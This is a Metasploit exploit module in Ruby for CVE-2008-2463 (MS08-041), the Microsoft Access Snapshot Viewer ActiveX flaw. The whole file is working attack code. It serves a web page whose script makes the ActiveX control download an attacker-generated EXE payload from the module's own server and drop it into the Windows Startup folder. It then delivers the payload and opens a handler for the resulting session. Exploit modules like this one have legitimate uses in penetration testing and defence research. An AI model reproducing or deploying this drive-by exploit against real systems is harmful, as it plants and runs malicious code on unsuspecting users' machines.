Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download



##

# $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
            'Description'    => %q{
                    This module allows remote attackers to place arbitrary files on a users file system
                via the Microsoft Office Snapshot Viewer ActiveX Control.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2008-2463' ],
                    [ 'OSVDB', '46749'],
                    [ 'MSB', 'MS08-041' ],
                    [ 'BID', '30114' ],
                ],
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jul 07 2008'))

        register_options(
            [
                OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
            ], self.class)
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)

        payload_url =  "http://"
        payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

        if (request.uri.match(/payload/))
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_exe({ :code => p.encoded })
            print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        vname  = rand_text_alpha(rand(100) + 1)
        exe    = rand_text_alpha(rand(20) + 1)

        content = %Q|
        <html>
        <head>
            <script>
            try {
                var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
                #{vname}.SnapshotPath = "#{payload_url}";
                #{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
                #{vname}.PrintSnapshot();
            } catch( e ) { window.location = 'about:blank' ; }
            </script>
        </head>
        </html>
                |

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        send_response_html(cli, content)

        handler(cli)

    end

end